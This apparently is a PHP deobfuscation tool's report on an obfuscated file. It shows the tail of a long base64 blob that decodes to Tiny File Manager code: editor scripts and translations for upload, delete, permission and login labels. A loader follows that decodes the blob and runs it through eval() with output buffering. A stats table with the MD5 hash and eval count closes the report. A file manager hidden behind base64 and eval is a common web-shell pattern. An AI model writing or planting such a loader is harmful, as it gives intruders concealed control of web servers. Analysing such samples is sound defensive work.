CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZWRpdG9yT3B0aW9uKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoZWRpdG9yT3B0aW9uID09ICJmdWxsc2NyZWVuIikgewogICAgICAgICAgICAgICAgICAgICAgICAodm9pZCAwIT09ZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQmJm51bGw9PT1kb2N1bWVudC5mdWxsU2NyZWVuRWxlbWVudHx8dm9pZCAwIT09ZG9jdW1lbnQubXNGdWxsc2NyZWVuRWxlbWVudCYmbnVsbD09PWRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnR8fHZvaWQgMCE9PWRvY3VtZW50Lm1vekZ1bGxTY3JlZW4mJiFkb2N1bWVudC5tb3pGdWxsU2NyZWVufHx2b2lkIDAhPT1kb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4mJiFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pCiAgICAgICAgICAgICAgICAgICAgICAgICYmKGVkaXRvci5jb250YWluZXIucmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpOmVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbigpOmVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4/ZWRpdG9yLmNvbnRhaW5lci53ZWJraXRSZXF1ZXN0RnVsbFNjcmVlbihFbGVtZW50LkFMTE9XX0tFWUJPQVJEX0lOUFVUKTplZGl0b3IuY29udGFpbmVyLm1zUmVxdWVzdEZ1bGxzY3JlZW4mJmVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZWRpdG9yT3B0aW9uID09ICJ3cmFwIikgewogICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICQoInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZSIpLm9uKCJjaGFuZ2UiLCBmdW5jdGlvbihlKXsKICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgIGxldCBzZWxlY3RlZFZhbHVlID0gJCh0aGlzKS52YWwoKSwgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cigiZGF0YS10eXBlIik7CiAgICAgICAgICAgICAgICBpZihzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gIm1vZGUiKSB7CiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLmdldFNlc3Npb24oKS5zZXRNb2RlKHNlbGVjdGVkVmFsdWUpOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAidGhlbWUiKSB7CiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLnNldFRoZW1lKHNlbGVjdGVkVmFsdWUpOwogICAgICAgICAgICAgICAgfWVsc2UgaWYoc2VsZWN0ZWRWYWx1ZSAmJiBzZWxlY3Rpb25UeXBlID09ICJmb250U2l6ZSIpIHsKICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKICAgIDwvc2NyaXB0Pgo8P3BocCBlbmRpZjsgPz4KPGRpdiBpZD0ic25hY2tiYXIiPjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfQoKLyoqCiAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbQogKiBAcGFyYW0gc3RyaW5nICR0eHQKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGxuZygkdHh0KSB7CiAgICBnbG9iYWwgJGxhbmc7CgogICAgLy8gRW5nbGlzaCBMYW5ndWFnZQogICAgJHRyWydlbiddWydBcHBOYW1lJ10gICAgICAgID0gJ1RpbnkgRmlsZSBNYW5hZ2VyJzsgICAgICAkdHJbJ2VuJ11bJ0FwcFRpdGxlJ10gICAgICAgICAgID0gJ0ZpbGUgTWFuYWdlcic7CiAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICAgICAgPSAnVXNlcm5hbWUnOwogICAgJHRyWydlbiddWydQYXNzd29yZCddICAgICAgID0gJ1Bhc3N3b3JkJzsgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0xvZ291dCddICAgICAgICAgICAgID0gJ1NpZ24gT3V0JzsKICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgICAgICA9ICdDb3B5JzsKICAgICR0clsnZW4nXVsnU2F2ZSddICAgICAgICAgICA9ICdTYXZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTZWxlY3RBbGwnXSAgICAgICAgICA9ICdTZWxlY3QgYWxsJzsKICAgICR0clsnZW4nXVsnVW5TZWxlY3RBbGwnXSAgICA9ICdVbnNlbGVjdCBhbGwnOyAgICAgICAgICAgJHRyWydlbiddWydGaWxlJ10gICAgICAgICAgICAgICA9ICdGaWxlJzsKICAgICR0clsnZW4nXVsnQmFjayddICAgICAgICAgICA9ICdCYWNrJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTaXplJ10gICAgICAgICAgICAgICA9ICdTaXplJzsKICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7ICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydNb2RpZmllZCddICAgICAgICAgICA9ICdNb2RpZmllZCc7CiAgICAkdHJbJ2VuJ11bJ093bmVyJ10gICAgICAgICAgPSAnT3duZXInOyAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICAgICAgPSAnU2VhcmNoJzsKICAgICR0clsnZW4nXVsnTmV3SXRlbSddICAgICAgICA9ICdOZXcgSXRlbSc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydGb2xkZXInXSAgICAgICAgICAgICA9ICdGb2xkZXInOwogICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7ICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1JlbmFtZSddICAgICAgICAgICAgID0gJ1JlbmFtZSc7CiAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICAgICAgPSAnRGlyZWN0IGxpbmsnOwogICAgJHRyWydlbiddWydVcGxvYWRpbmdGaWxlcyddID0gJ1VwbG9hZCBGaWxlcyc7ICAgICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7CiAgICAkdHJbJ2VuJ11bJ0NvcHlpbmcnXSAgICAgICAgPSAnQ29weWluZyc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlTmV3SXRlbSddICAgICAgPSAnQ3JlYXRlIE5ldyBJdGVtJzsKICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddICAgICA9ICdBZHZhbmNlZCBFZGl0b3InOwogICAgJHRyWydlbiddWydBY3Rpb25zJ10gICAgICAgID0gJ0FjdGlvbnMnOyAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciBpcyBlbXB0eSddICAgID0gJ0ZvbGRlciBpcyBlbXB0eSc7CiAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJzsgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ2FuY2VsJ10gICAgICAgICAgICAgPSAnQ2FuY2VsJzsKICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ109ICdJbnZlcnQgU2VsZWN0aW9uJzsgICAgICAgJHRyWydlbiddWydEZXN0aW5hdGlvbkZvbGRlciddICA9ICdEZXN0aW5hdGlvbiBGb2xkZXInOwogICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7ICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0l0ZW1OYW1lJ10gICAgICAgICAgID0gJ0l0ZW0gTmFtZSc7CiAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7ICAgICAgICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICAgICAgPSAnRG93bmxvYWQnOwogICAgJHRyWydlbiddWydPcGVuJ10gICAgICAgICAgID0gJ09wZW4nOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1VuWmlwJ10gICAgICAgICAgICAgID0gJ1VuWmlwJzsKICAgICR0clsnZW4nXVsnVW5aaXBUb0ZvbGRlciddICA9ICdVblppcCB0byBmb2xkZXInOyAgICAgICAgJHRyWydlbiddWydFZGl0J10gICAgICAgICAgICAgICA9ICdFZGl0JzsKICAgICR0clsnZW4nXVsnTm9ybWFsRWRpdG9yJ10gICA9ICdOb3JtYWwgRWRpdG9yJzsgICAgICAgICAgJHRyWydlbiddWydCYWNrVXAnXSAgICAgICAgICAgICA9ICdCYWNrIFVwJzsKICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJzsgICAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgICAgICA9ICdGaWxlcyc7CiAgICAkdHJbJ2VuJ11bJ01vdmUnXSAgICAgICAgICAgPSAnTW92ZSc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ2hhbmdlJ10gICAgICAgICAgICAgPSAnQ2hhbmdlJzsKICAgICR0clsnZW4nXVsnU2V0dGluZ3MnXSAgICAgICA9ICdTZXR0aW5ncyc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgICAgICA9ICdMYW5ndWFnZSc7ICAgICAgICAKICAgICR0clsnZW4nXVsnRXJyb3JSZXBvcnRpbmcnXSA9ICdFcnJvciBSZXBvcnRpbmcnOyAgICAgICAgJHRyWydlbiddWydTaG93SGlkZGVuRmlsZXMnXSAgICA9ICdTaG93IEhpZGRlbiBGaWxlcyc7CiAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICAgICAgPSAnQ3JlYXRlZCc7CiAgICAkdHJbJ2VuJ11bJ0hlbHAgRG9jdW1lbnRzJ10gPSAnSGVscCBEb2N1bWVudHMnOyAgICAgICAgICR0clsnZW4nXVsnUmVwb3J0IElzc3VlJ10gICAgICAgPSAnUmVwb3J0IElzc3VlJzsKICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydGdWxsU2l6ZSddICAgICAgICAgICA9ICdGdWxsIFNpemUnOyAgICAgICAgICAgICAgCiAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtcy9Pd25lciBjb2x1bW5zJzskdHJbJ2VuJ11bJ1lvdSBhcmUgbG9nZ2VkIGluJ10gPSAnWW91IGFyZSBsb2dnZWQgaW4nOwogICAgJHRyWydlbiddWydOb3RoaW5nIHNlbGVjdGVkJ10gICA9ICdOb3RoaW5nIHNlbGVjdGVkJzsgICAkdHJbJ2VuJ11bJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJ10gICAgPSAnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnOwogICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nOyAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gICAgICAgPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnOwogICAgJHRyWydlbiddWydEZWxldGVkJ10gICAgICAgICAgICA9ICdEZWxldGVkJzsgICAgICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSAgICAgICAgPSAnQXJjaGl2ZSBub3QgY3JlYXRlZCc7CiAgICAkdHJbJ2VuJ11bJ0NvcGllZCBmcm9tJ10gICAgICAgID0gJ0NvcGllZCBmcm9tJzsgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddICAgICAgICA9ICdQZXJtaXNzaW9ucyBjaGFuZ2VkJzsKICAgICR0clsnZW4nXVsndG8nXSAgICAgICAgICAgICAgICAgPSAndG8nOyAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSAgICAgICAgID0gJ1NhdmVkIFN1Y2Nlc3NmdWxseSc7CiAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnOyAgICAgICAgICR0clsnZW4nXVsnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknXSAgICA9ICdGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseSc7CiAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnOyAgICAgICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnXSAgICA9ICdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCc7CiAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInOyAgICAgICR0clsnZW4nXVsnU291cmNlIHBhdGggbm90IGRlZmluZWQnXSAgICA9ICdTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCc7CiAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJzsgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nXSAgICA9ICdFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSc7CiAgICAkdHJbJ2VuJ11bJ0NyZWF0ZSBhcmNoaXZlPyddICAgID0gJ0NyZWF0ZSBhcmNoaXZlPyc7ICAgICR0clsnZW4nXVsnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJ10gICAgPSAnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJzsKICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7ICAgJHRyWydlbiddWydGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCddICA9ICdGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCc7CiAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7ICAgICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJzsKICAgICR0clsnZW4nXVsnRmlsZSBub3QgZm91bmQnXSAgICAgPSAnRmlsZSBub3QgZm91bmQnOyAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyddID0gJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJzsKICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7ICAgICAgICAgJHRyWydlbiddWydHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCddID0gJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJzsKICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJzsKICAgICR0clsnZW4nXVsncGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uJ10gPSAncGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uJzsKICAgICR0clsnZW4nXVsnQWR2YW5jZWQgU2VhcmNoJ10gICAgPSAnQWR2YW5jZWQgU2VhcmNoJzsgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nXSAgICA9ICdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nOwogICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7CiAgICAkdHJbJ2VuJ11bJ0ZJTEUgRVhURU5TSU9OIEhBUyBOT1QgU1VQUE9SVEVEJ10gICAgICAgICAgICAgICA9ICdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCc7CiAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnOwogICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nXSAgICAgICAgICAgICAgPSAnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJzsKICAgICR0clsnZW4nXVsnRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPyddICAgICAgICAgICAgID0gJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nOwogICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJzsKICAgICR0clsnZW4nXVsnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSddICAgICAgID0gJ0FjY2VzcyBkZW5pZWQuIElQIHJlc3RyaWN0aW9uIGFwcGxpY2FibGUnOwogICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZSddICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnOwogICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJzsKICAgICR0clsnZW4nXVsnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnXSAgID0gJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzJzsKCiAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTsKICAgICR0ciA9ICRpMThuID8gJGkxOG4gOiAkdHI7CgogICAgaWYgKCFzdHJsZW4oJGxhbmcpKSAkbGFuZyA9ICdlbic7CiAgICBpZiAoaXNzZXQoJHRyWyRsYW5nXVskdHh0XSkpIHJldHVybiBmbV9lbmMoJHRyWyRsYW5nXVskdHh0XSk7CiAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7CiAgICBlbHNlIHJldHVybiAiJHR4dCI7Cn0KCj8+";
$decoded = base64_decode($z);
// Execute decoded content without displaying it
ob_start();
eval('?>' . $decoded);
$output = ob_get_clean();
// Output only the execution result
echo $output;
?>
Function Calls
| ini_set | 1 |
| ob_start | 1 |
| ob_get_clean | 1 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | d411af1f0027b8a937c2db0e6bfa2e57 |
| Eval Count | 1 |
| Decode Time | 653 ms |